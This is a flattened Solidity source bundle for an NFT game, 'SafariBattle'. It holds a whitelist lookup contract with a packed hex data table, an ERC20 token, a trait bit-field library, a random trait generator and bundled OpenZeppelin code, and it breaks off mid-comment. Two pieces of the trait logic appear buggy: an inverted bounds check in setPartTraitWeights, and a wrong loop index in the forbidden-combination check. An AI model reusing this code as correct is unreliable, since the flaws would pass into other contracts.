f100000002f2bf0000000129a500000002e276000000020fa60000011559c700000003eae40000000101cc0000000214cf000001031ded00000004a76500000629eaf4000000015b24000000016be90000020c8e5000000001adca00000001ea5800000205689e00000005982c000001059a70000000023fbf00000001737400000003a8dd00000001b20800000001c68a00000100f0f100000001f61c000004151c1e00000001648e0000000a915c000000036b0e000000037d370000000295d700000001eb13000001062763000000032efa000000013d9a00000104665900000200729700000001c48700000005cd1b000003000da40000020be8e9000001051dcd000000024b4700000001c1ba00000002314400000001451d00000002571400000200e0f900000002ecbe00000001ccac0000000300b4000000012007000000015d1f0000010260fc00000004649d00000001688000000101781d000002107d2f000000017ec3000000028c8100000001483200000003d96700000002004a0000010418d0000000028d740000000292c8000000019bfc00000001b9520000000102820000000118f0000001004c43000000025a37000000039caf00000008aa0d00000005362700000003fb3a0000010231ce00000001732c00000002d98300000001ea6700000002ec84000000018d2c00000002aa11000000032b7900000001d98800000202e16b00000001fe9c00000003182f00000101a3dc00000001aaf800000002e76e000001006da000000002913600000001c622000000021df200000003477d00000002c400000000011ff20000000340e3000000038e940000000193f300000002b08500000004cda40000010cf34a000002021c0b0000020620ae00000001756200000004b1bd00000002e9b9000000011318000000022dc50000000384f200000002e11c000001013a4800000101446f00000003979700000001c1cd00000001f04100000001012c00000003896d000000010aea00000002233400000002a3420000040bf91e0000000160f40000000174bf00000001916e00000216b10f00000001bf8d000000012e09000004114b18000000019ed400000103b9cf00000102fdf300000002ff0800000001010a000000046e1d0000023e834100000108881c0000000a9e5800000001aa2f00000001c46100000002ec060000000127b8000000012d3e000000074dbc0000000175a600000001796000000201a98500000002d3c000000001e94700000001330c0000000a5932000000015aec000000016a4000000007e550000001024ca7000000054f9b00000103530500000003621000000001cfae0000000ee7a9000000014f7d000000016f7900000002c73c00000009e120000002028d7a00000001b3350000000fbb0500000001d81900000001d915000000012909000000012f310000020971b100000001196b00000205593d00000001ee1d00000104efdc00000b0006130000000153dc000000019ecd00000101cff300000007ee0b00000100449b00000004cc9f00000001d06f00000103ea5500000005285600000102e567000000011e460000000132b0000001019b0700000100adc800000002b4910000010e622200000102887100000100890f0000000a45b4000000038e15000000039e1000000009f034000000010935000001090d78000000041feb000000034db100000001525900000002c86c00000002f9c00000000106e20000010051300000000454fa000006076ea50000000196a5000005009d3900000003a3a500000003e3090000000101110000000525750000000730340000000134d60000000187090000040c159c000000014b880000000167720000010282170000000194e000000108a57300000001ca38000000013904000000014cc90000000177d500000001b04000000003c35400000006c3c100000101926000000005c29d00000001da870000000ade7500000001ef6700000001f605000000021cc50000000551720000030c84b600000001c4cb00000002fc8b0000010300dd000000012ac8000000019dc800000001a2cf00000001acf00000020410c300000100bd9400000307c75400000103e0f700000001f9640000010105be0000020440220000000254d500000001b8fb00000008c7ff00000106f40e00000200557b000000025bba0000000161b500000001918000000003ab080000000ac95400000005d6db00000002e0240000000372d5000000017678000000018ef900000001b12400000005cf3c00000001e8bb00000104f5d800000005243a0000000134f600000003800700000006915000000005bc660000000104f30000000143c9000000048a8e000000029e3800000103cae000000001d5af0000000303110000010107c600000004132300000006358f000000028f0f00000204a41700000101af430000020bbc1400000002dc1c00000007ff76000000014580000000107ac300000112e6a30000000143670000020555ee000000057d1300000003bc870000020df43e00000002264100000001b64500000009c708000000014c5800000106a39e00000005aac900000009d171000000022f380000010095d600000002be9b00000005743000000104c10200000001d37e000000022e3d000000065bea000001039bc3000004011dac0000000175f300000002c7e300000004f7c200000002fc3d000001032bdb0000000136c0000000015c2500000001a97700000001add300000002e8cd00000001fac60000000444800000001a65960000000869ef000000018d5000000105390800000002889700000003978400000008d10900000009e7c3000004110840000002082f1200000109342400000103fd9500000001cac600000105dcdc00000200e85a0000000181c0000001019c0300000203a97700000003b43a000009120b17000000017cfd000000010f53000000015d32000000037c5800000003c50100000002d1b40000000acb1800000101cec700000001e69d000000012eff000000036f3d000000018a850000010d8b1f0000040938d00000000340d8000005029d8100000002a7e600000100c47a00000003cb7200000001eb3c0000021220a600000108b4bd00000001134f00000015bf8300000001f46e0000000320ae0000010951aa00000005a4e300000103cb7200000002f7aa000000013b55000000033b89000000015e8200000305988200000105baf000000006c75900000001e5cb0000020226eb0000041939e200000001ceca00000008d99300000001e1f300000003fb2a0000000efcc8000000015600000000025cf0000001018f0100000205a2d300000200a56f00000001b39700000001be4300000003d9160000010168b5000001007b140000000185f1000000026b92000000036f800000000aeb6400000001f5ff000001081a54000001042c2d0000030933fb00000001932200000208d14a0000000108ab000000011e9700000003258c000000014a310000020ea7710000000bbb8d00000005ce0e00000001f07f0000000312ed00000001a35a00000100ced700000004df88000001081920000000093ef80000000143490000000167700000000197aa000000019b6c0000000206c4000000059b8300000002abba0000000123d100000002602d00000104d72700000002e0f500000004f685000000011de1000000012a6200000005bc0f00000210fac2000000013506000000016b63000000022dc600000001a9c90000000108d0000000011e160000040c797c00000001b47b00000007dd690000000209ba0000010622410000000358c700000003798d0000000dd94d000000044bbf00000005e7b30000000106c300000001191700000005513500000004754500000001d4c600000003f93f00000003ff740000000213f80000010311e00000000155170000000157160000010ab42e00000008cf56000000010f0c0000000128bf000000023300000001107db000000001a5a900000002ac2d00000001b52e000002064c9800000106906d00000101a81700000001c3a30000000ec8ca0000010216a8000002193bd90000031a40fc00000001714900000001750c000000010101000003090d1600000006125f00000002551e00000101bb8300000001c76500000001e0fa00000300fa960000000107f600000001417f000000025041000001075dbd00000002b28c000000013ed900000103a5f4000000010b0500000107b13200000103cf6c00000001fe5500000002077b000001010c4e00000001950200000003c8a600000001e7e200000001f43800000021393f000010794a27000000039ea300000001a03300000001b28500000005d68c00000001e47600000001feb90000020c1dbb00000001223b00000001cf5d00000003d27c00000001589900000002d28900000002e96300000001109800000105263b000000052d22000000014da10000010475290000000490dd00000005c19d0000000439c3000001033d32000000019d2e00000001aa9e00000116f17800000001f23800000001fa530000000158e90000000f88ea00000003943100000004a9f500000103c9b00000000107b3000000010e7c00000003aec60000010a1fc100000001307d00000002fbb2000000014eab0000000550870000000266bf00000002676e000000016e530000020fbdc10000000100c900000001102500000105e19f00000317fd65000001031f90000000014386000000017e7900000002aee100000002cc0500000001edbb000000010a18000000012601000001002b15000000014ac000000001c79600000001ce6b00000107d4810000000124ae000000043def0000010545e6000000044cf600000002d0a400000119fc5b0000000116710000021542f30000000a5d7b000001068c2c00000002b0b300000004cdd300000001f3280000000124480000000173950000000189ec000000029f2000000004a6140000000a112600000001273a000000017c4c000000018c6500000001c393000000037bc9000000019e0d00000100d51c0000010522670000000270330000010271500000000395c4000000059bf800000001cd5000000002aa5c00000001dbe300000003dca5000000045ec300000001e14600000005fd3200000001"; address public owner; address public minting_contract; constructor() { owner = msg.sender; } function setOwner(address addr) external { require(msg.sender == owner, 'you are not the owner'); owner = addr; } function setMintingContract(address addr) external { require(msg.sender == owner, 'you are not the owner'); minting_contract = addr; } function balanceOf(address holder) external view returns(uint256) { uint8 bought; uint8 claimed; uint8 lions; uint8 zebras; (bought, claimed, lions, zebras) = this.getInfo(holder); return uint256(lions) + uint256(zebras); } function getInfo(address holder) external view returns(uint8 number_bought, uint8 number_free_claimed, uint8 lions_owned, uint8 zebras_owned) { uint16 first = uint16(uint160(holder) >> 152 & 0xff) * 2; uint16 addr_part = uint16(uint160(holder) >> 136); uint256 slot0 = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563; uint16 offset; uint16 end; assembly { offset := and(shr(mul(sub(30,mod( first,32)),8),sload(add(slot0,div( first,32)))),0xffff) end := and(shr(mul(sub(30,mod(add(first,2),32)),8),sload(add(slot0,div(add(first,2),32)))),0xffff) } for (; offset < end; offset += 6) { if (uint16(uint8(items[offset]) *256 + uint8(items[offset+1])) == addr_part) { return (uint8(items[offset+2]),uint8(items[offset+3]),uint8(items[offset+4]),uint8(items[offset+5])); } } return (uint8(0),uint8(0),uint8(0),uint8(0)); } function getInfoPacked(address holder) external view returns(uint256) { uint256 first = uint16(uint160(holder) >> 152 & 0xff) * 2; uint256 addr_part = uint16(uint160(holder) >> 136); uint256 slot0 = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563; uint256 slot1 = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6; uint256 offset; uint256 end; assembly { offset := and(shr(mul(sub(30,mod( first,32)),8),sload(add(slot0,div( first,32)))),0xffff) end := and(shr(mul(sub(30,mod(add(first,2),32)),8),sload(add(slot0,div(add(first,2),32)))),0xffff) } uint256 result; assembly { let i := and(offset, 0xffff) let e := and(end, 0xffff) let slot_index := add(slot1, div(i, 32)) let slot_val := sload(slot_index) let shift_amount := mul(sub(30, mod(i, 32)), 8) let this_addr_part for { } lt(i, e) { } { this_addr_part := and(shr(shift_amount, slot_val), 0xffff) switch eq(this_addr_part, addr_part) case true { // found the address result := shl(32, i) switch shift_amount case 0 { slot_val := sload(add(slot_index, 1)) result := add(result, shr(224, slot_val)) } case 16 { result := add(result, shl(16, and(slot_val, 0xffff))) slot_val := sload(add(slot_index, 1)) result := add(result, shr(240, slot_val)) } default { result := add(result, and(shr(sub(shift_amount, 32), slot_val), 0xffffffff)) } let p := mload(0x40) mstore(0x40, add(mload(0x40), 0x20)) mstore(p, result) return(p, 32) } case false { // this_addr_part != addr_part i := add(i, 6) switch gt(shift_amount, 32) case true { shift_amount := sub(shift_amount, 48) } case false { slot_index := add(slot_index, 1) slot_val := sload(slot_index) shift_amount := add(208, shift_amount) } } } } revert('you are not in the whitelist'); } function setBoughtAndClaimed(uint16 offset, uint16 bought_and_claimed) external { require(msg.sender == minting_contract, 'you are not the minting contract'); items[offset+2] = bytes1(uint8(bought_and_claimed >> 8)); items[offset+3] = bytes1(uint8(bought_and_claimed)); } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; contract SafariErc20 is UUPSUpgradeable, ERC20Upgradeable, OwnableUpgradeable { // a mapping from an address to whether or not it can mint / burn mapping(address => bool) controllers; address public stripesAddress; bool public stripesBurning; function initialize(string memory name, string memory symbol, address stripes) public initializer { __ERC20_init(name, symbol); __Ownable_init(); stripesAddress = stripes; stripesBurning = false; } function upgrade(address stripes) public onlyOwner { stripesAddress = stripes; } function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} function mint(address to, uint256 amount) external { require(controllers[msg.sender], "Only controllers can mint"); _mint(to, amount); } function burn(address from, uint256 amount) external { require(controllers[msg.sender], "Only controllers can burn"); _burn(from, amount); } function burnStripes(uint256 amount) external { require(stripesBurning, 'burning stripes is not currently allowed'); IERC20(stripesAddress).transferFrom(_msgSender(), address(this), amount); _mint(_msgSender(), amount); } function setStripesBurning(bool val) external onlyOwner { stripesBurning = val; } /** * enables an address to mint / burn * @param controller the address to enable */ function addController(address controller) external onlyOwner { controllers[controller] = true; } /** * disables an address from minting / burning * @param controller the address to disbale */ function removeController(address controller) external onlyOwner { controllers[controller] = false; } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "./token-metadata.sol"; interface ISafariErc721 { function totalSupply() external view returns(uint256); function batchMint(address recipient, SafariToken.Metadata[] memory _tokenMetadata, uint16[] memory tokenIds) external; } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; uint8 constant MIN_ALPHA = 5; uint8 constant MAX_ALPHA = 8; uint8 constant POACHER = 1; uint8 constant ANIMAL = 2; uint8 constant APR = 3; uint8 constant RHINO = 0; uint8 constant CHEETAH = 1; uint8 constant propertiesStart = 128; uint8 constant propertiesSize = 128; library SafariToken { // struct to store each token's traits struct Metadata { bytes32 _value; } function create(bytes32 raw) internal pure returns(Metadata memory) { Metadata memory meta = Metadata(raw); return meta; } function getCharacterType(Metadata memory meta) internal pure returns(uint8) { return uint8(bytes1(meta._value)); } function setCharacterType(Metadata memory meta, uint8 characterType) internal pure { meta._value = (meta._value & 0x00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (bytes32(bytes1(characterType))); } function getAlpha(Metadata memory meta) internal pure returns(uint8) { return uint8(bytes1(meta._value << (8*1))); } function setAlpha(Metadata memory meta, uint8 alpha) internal pure { meta._value = (meta._value & 0xff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (bytes32(bytes1(alpha)) >> (8*1)); } function getCharacterSubtype(Metadata memory meta) internal pure returns(uint8) { return uint8(bytes1(meta._value << (8*2))); } function setCharacterSubtype(Metadata memory meta, uint8 subType) internal pure { meta._value = (meta._value & 0xffff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (bytes32(bytes1(subType)) >> (8*2)); } function isSpecial(Metadata memory meta) internal pure returns(bool) { return bool(uint8(bytes1(meta._value << (8*3) & bytes1(0x01))) == 0x01); } function setSpecial(Metadata memory meta, bool _isSpecial) internal pure { bytes1 specialVal = bytes1(_isSpecial ? 0x01 : 0x00); meta._value = (meta._value & 0xfffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (bytes32(specialVal) >> (8*3)); } function getReserved(Metadata memory meta) internal pure returns(bytes29) { return bytes29(meta._value << (8*3)); } function isPoacher(Metadata memory meta) internal pure returns(bool) { return getCharacterType(meta) == POACHER; } function isAnimal(Metadata memory meta) internal pure returns(bool) { return getCharacterType(meta) == ANIMAL; } function isRhino(Metadata memory meta) internal pure returns(bool) { return getCharacterType(meta) == ANIMAL && getCharacterSubtype(meta) == RHINO; } function isAPR(Metadata memory meta) internal pure returns(bool) { return getCharacterType(meta) == APR; } function setSpecial(Metadata memory meta, Metadata[] storage specials) internal { Metadata memory special = specials[specials.length-1]; meta._value = special._value; specials.pop(); } function setProperty(Metadata memory meta, uint256 fieldStart, uint256 fieldSize, uint256 value) internal view { setField(meta, fieldStart + propertiesStart, fieldSize, value); } function getProperty(Metadata memory meta, uint256 fieldStart, uint256 fieldSize) internal pure returns(uint256) { return getField(meta, fieldStart + propertiesStart, fieldSize); } function setField(Metadata memory meta, uint256 fieldStart, uint256 fieldSize, uint256 value) internal view { require(value < (1 << fieldSize), 'attempted to set a field to a value that exceeds the field size'); uint256 shiftAmount = 256 - (fieldStart + fieldSize); bytes32 mask = ~bytes32(((1 << fieldSize) - 1) << shiftAmount); bytes32 fieldVal = bytes32(value << shiftAmount); meta._value = (meta._value & mask) | fieldVal; } function getField(Metadata memory meta, uint256 fieldStart, uint256 fieldSize) internal pure returns(uint256) { uint256 shiftAmount = 256 - (fieldStart + fieldSize); bytes32 mask = bytes32(((1 << fieldSize) - 1) << shiftAmount); bytes32 fieldVal = meta._value & mask; return uint256(fieldVal >> shiftAmount); } function getRaw(Metadata memory meta) internal pure returns(bytes32) { return meta._value; } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.5; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/Base64.sol"; import "./token-metadata.sol"; contract SafariTokenMeta is UUPSUpgradeable, OwnableUpgradeable { using SafariToken for SafariToken.Metadata; using Strings for uint256; struct TraitInfo { uint16 weight; uint16 end; bytes28 name; } struct PartInfo { uint8 fieldSize; uint8 fieldOffset; bytes28 name; } PartInfo[] public partInfo; mapping(uint256 => TraitInfo[]) public partTraitInfo; struct PartCombo { uint8 part1; uint8 trait1; uint8 part2; uint8 traits2Len; uint8[28] traits2; } PartCombo[] public mandatoryCombos; PartCombo[] public forbiddenCombos; function initialize() public initializer { __Ownable_init_unchained(); } function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} function buildSpecial(uint256[] calldata traits) external view returns(bytes32) { require(traits.length == partInfo.length, string(abi.encodePacked('need ', partInfo.length.toString(), ' elements'))); SafariToken.Metadata memory newData; PartInfo storage _partInfo; uint256 i; for (i=0; i<partInfo.length; i++) { _partInfo = partInfo[i]; newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, traits[i]); } return newData._value; } function setMandatoryCombos(uint256[] calldata parts1, uint256[] calldata traits1, uint256[] calldata parts2, uint256[][] calldata traits2) external onlyOwner { require(parts1.length == traits1.length && parts1.length == parts2.length && parts1.length == traits2.length, 'all arguments must be arrays of the same length'); delete mandatoryCombos; uint256 i; for (i=0; i<parts1.length; i++) { addMandatoryCombo(parts1[i], traits1[i], parts2[i], traits2[i][0]); } } function addMandatoryCombo(uint256 part1, uint256 trait1, uint256 part2, uint256 trait2) internal { mandatoryCombos.push(); PartCombo storage combo = mandatoryCombos[mandatoryCombos.length-1]; combo.part1 = uint8(part1); combo.trait1 = uint8(trait1); combo.part2 = uint8(part2); combo.traits2Len = uint8(1); combo.traits2[0] = uint8(trait2); } // this should only be used to correct errors in trait names function setPartTraitNames(uint256[] calldata parts, uint256[] calldata traits, string[] memory names) external onlyOwner { require(parts.length == traits.length && parts.length == names.length, 'all arguments must be arrays of the same length'); uint256 i; for (i=0; i<parts.length; i++) { require(partTraitInfo[parts[i]].length > traits[i], 'you tried to set the name of a property that does not exist'); partTraitInfo[parts[i]][traits[i]].name = stringToBytes28(names[i]); } } // set the odds of getting a trait. dividing the weight of a trait by the sum of all trait weights yields the odds of minting that trait function setPartTraitWeights(uint256[] calldata parts, uint256[] calldata traits, uint256[] calldata weights) external onlyOwner { require(parts.length == traits.length && parts.length == weights.length, 'all arguments must be arrays of the same length'); uint256 i; for (i=0; i<parts.length; i++) { require(partTraitInfo[parts[i]].length < traits[i], 'you tried to set the odds of a property that does not exist'); partTraitInfo[parts[i]][traits[i]].weight = uint16(weights[i]); } _updatePartTraitWeightRanges(); } // after trait weights are changed this runs to update the ranges function _updatePartTraitWeightRanges() internal { uint256 offset; TraitInfo storage traitInfo; uint256 i; uint256 j; for (i=0; i<partInfo.length; i++) { offset = 0; for (j=0; j<partTraitInfo[i].length; j++) { traitInfo = partTraitInfo[i][j]; offset += traitInfo.weight; traitInfo.end = uint16(offset); } } } function addPartTraits(uint256[] calldata parts, uint256[] calldata weights, string[] calldata names) external onlyOwner { require(parts.length == weights.length && parts.length == names.length, 'all arguments must be arrays of the same length'); uint256 i; for (i=0; i<parts.length; i++) { _addPartTrait(parts[i], weights[i], names[i]); } _updatePartTraitWeightRanges(); } function _addPartTrait(uint256 part, uint256 weight, string calldata name) internal { TraitInfo memory traitInfo; traitInfo.weight = uint16(weight); traitInfo.name = stringToBytes28(name); partTraitInfo[part].push(traitInfo); } function addParts(uint256[] calldata fieldSizes, string[] calldata names) external onlyOwner { require(fieldSizes.length == names.length, 'all arguments must be arrays of the same length'); PartInfo memory _partInfo; uint256 fieldOffset; if (partInfo.length > 0) { _partInfo = partInfo[partInfo.length-1]; fieldOffset = _partInfo.fieldOffset + _partInfo.fieldSize; } uint256 i; for (i=0; i<fieldSizes.length; i++) { _partInfo.name = stringToBytes28(names[i]); _partInfo.fieldOffset = uint8(fieldOffset); _partInfo.fieldSize = uint8(fieldSizes[i]); partInfo.push(_partInfo); fieldOffset += fieldSizes[i]; } } function getMeta(SafariToken.Metadata memory tokenMeta, uint256 tokenId, string memory baseURL) external view returns(string memory) { bytes memory metaStr = abi.encodePacked( '{', '"name":"SafariBattle #', tokenId.toString(), '",', '"image":"', baseURL, _getSpecificURLPart(tokenMeta), '",', '"attributes":[', _getAttributes(tokenMeta), ']' '}' ); return string( abi.encodePacked( "data:application/json;base64,", Base64.encode(metaStr) ) ); } function _getSpecificURLPart(SafariToken.Metadata memory tokenMeta) internal view returns(string memory) { bytes memory result = abi.encodePacked('?'); PartInfo storage _partInfo; bool isFirst = true; uint256 i; for (i=0; i<partInfo.length; i++) { if (!isFirst) { result = abi.encodePacked(result, '&'); } isFirst = false; _partInfo = partInfo[i]; result = abi.encodePacked( result, bytes28ToString(_partInfo.name), '=', bytes28ToString(partTraitInfo[i][tokenMeta.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize)].name) ); } return string(result); } function _getAttributes(SafariToken.Metadata memory tokenMeta) internal view returns(string memory) { bytes memory result; PartInfo storage _partInfo; bool isFirst = true; string memory traitValue; uint256 i; for (i=0; i<partInfo.length; i++) { _partInfo = partInfo[i]; traitValue = bytes28ToString(partTraitInfo[i][tokenMeta.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize)].name); if (bytes(traitValue).length == 0) { continue; } if (!isFirst) { result = abi.encodePacked(result, ','); } isFirst = false; result = abi.encodePacked( result, '{', '"trait_type":"', bytes28ToString(_partInfo.name), '",', '"value":"', traitValue, '"', '}' ); } return string(result); } function generateProperties(uint256 randomVal, uint256 tokenId) external view returns(SafariToken.Metadata memory) { SafariToken.Metadata memory newData; PartInfo storage _partInfo; uint256 trait; uint256 i; for (i=0; i<partInfo.length; i++) { _partInfo = partInfo[i]; trait = genPart(i, randomVal); newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, trait); randomVal >>= 8; } PartCombo storage combo; for (i=0; i<mandatoryCombos.length; i++) { combo = mandatoryCombos[i]; _partInfo = partInfo[combo.part1]; if (newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize) != combo.trait1) { continue; } _partInfo = partInfo[combo.part2]; if (newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize) != combo.traits2[0]) { newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, combo.traits2[0]); } } uint256 j; bool bad; for (i=0; i<forbiddenCombos.length; i++) { combo = forbiddenCombos[i]; _partInfo = partInfo[combo.part1]; if (newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize) != combo.trait1) { continue; } _partInfo = partInfo[combo.part2]; trait = newData.getProperty(_partInfo.fieldOffset, _partInfo.fieldSize); // generate a new trait until one is found that doesn't conflict while (true) { bad = false; for (j=0; j<combo.traits2.length; j++) { if (trait == combo.traits2[i]) { bad = true; break; } } if (!bad) { break; } trait = genPart(combo.part2, randomVal); newData.setProperty(_partInfo.fieldOffset, _partInfo.fieldSize, trait); randomVal >>= 8; } } return newData; } function genPart(uint256 part, uint256 randomVal) internal view returns(uint256) { TraitInfo storage traitInfo; traitInfo = partTraitInfo[part][partTraitInfo[part].length-1]; uint256 partTotalWeight = traitInfo.end; uint256 selected = randomVal % partTotalWeight; uint256 start = 0; uint256 i; for (i=0; i<partTraitInfo[part].length; i++) { traitInfo = partTraitInfo[part][i]; if (selected >= start && selected < traitInfo.end) { return i; } start = traitInfo.end; } require(false, string(abi.encodePacked('did not find a trait: part: ', part.toString(), ', total weight: ', partTotalWeight.toString(), ', selected: ', selected.toString()))); } function min(uint256 a, uint256 b) internal pure returns(uint256) { return a <= b ? a : b; } function bytes28ToString(bytes28 _bytes28) public pure returns (string memory) { uint256 i = 0; // find the end of the string while(i < 28 && _bytes28[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 28 && _bytes28[i] != 0; i++) { bytesArray[i] = _bytes28[i]; } return string(bytesArray); } function stringToBytes28(string memory _string) public pure returns (bytes28) { bytes28 _bytes28; bytes memory bytesArray = bytes(_string); require(bytesArray.length <= 28, 'string is longer than 28 bytes'); uint256 i = 0; for (i = 0; i<bytesArray.length; i++) { _bytes28 |= bytes28(bytesArray[i]) >> (i*8); } return _bytes28; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal onlyInitializing { } function __UUPSUpgradeable_init_unchained() internal onlyInitializing { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Check that the execution is not being performed through a delegate call. This allows a function to be * callable on the implementing contract but not through proxies. */ modifier notDelegated() { require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall"); _; } /** * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the * implementation. It is used to validate that the this implementation remains valid after an upgrade. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier. */ function proxiableUUID() external view virtual override notDelegated returns (bytes32) { return _IMPLEMENTATION_SLOT; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallUUPS(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See 